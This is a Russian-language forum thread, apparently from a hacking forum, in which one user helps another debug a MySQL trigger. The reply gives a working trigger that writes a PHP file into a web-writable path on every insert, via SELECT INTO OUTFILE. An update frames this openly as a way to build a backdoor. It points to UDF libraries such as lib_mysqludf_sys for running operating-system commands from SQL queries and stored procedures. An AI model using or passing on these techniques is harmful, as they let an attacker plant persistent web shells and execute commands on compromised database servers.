Цитата:
Сообщение от vovasik
а как он у тебя работает ? где косяк пожалуйста объясни
|
Возьми сначала триггер попроще и отладь его, потом добавишь функционал.
пример
PHP код:
use test;
DROP TRIGGER IF EXISTS testup;
DELIMITER //
CREATE TRIGGER testup BEFORE INSERT ON user
FOR EACH ROW
BEGIN
select '<?phpinfo();?>' into outfile '/path/pinfo.php';
END;
//
DELIMITER ;
таблица test.user должна существовать, /path/ - доступен на запись
show triggers from test - покажет, что триггер создан
insert into user ... добавит запись в user и запишет файл pinfo.php
====================
UPD
Кстати для организации бэкдора возможно задействовать и
хранимые процедуры и функции, в которых (что представляет наибольший интерес)
возможно использовать UDF
http://www.mysql.ru/docs/man/Adding_UDF.html.
Есть и готовые библиотеки, очень интересна, например
http://www.mysqludf.org/lib_mysqludf...s_0.0.3.tar.gz
Позволяет выполнять команды OC в запросе или хранимой процедуре.
Мануал по установке
http://tokarchuk.ru/2011/04/execute-...ds-from-mysql/
Но и это еще не все, MySQL API позволяет компилировать плагины отдельно от сервера.
http://www.microbecal.com/ftp_load/M...%20Impress.pdf
Вот пример плагина
http://code.google.com/p/php-handlersocket/
реализует не SQL доступ к MySQL.
====================
UPD2
Цитата:
Сообщение от recfrf
с удалением триггера проблем нет? у меня даже под рутом не удаляется, denver
|
Проблем нет, либо ошибка имени триггера, либо не выбрана база, в которой создан триггер.
Проверяем удаление триггера для примера выше
PHP код:
show triggers from test;
PHP код:
use test;
DROP TRIGGER IF EXISTS testup;
PHP код:
show triggers from test;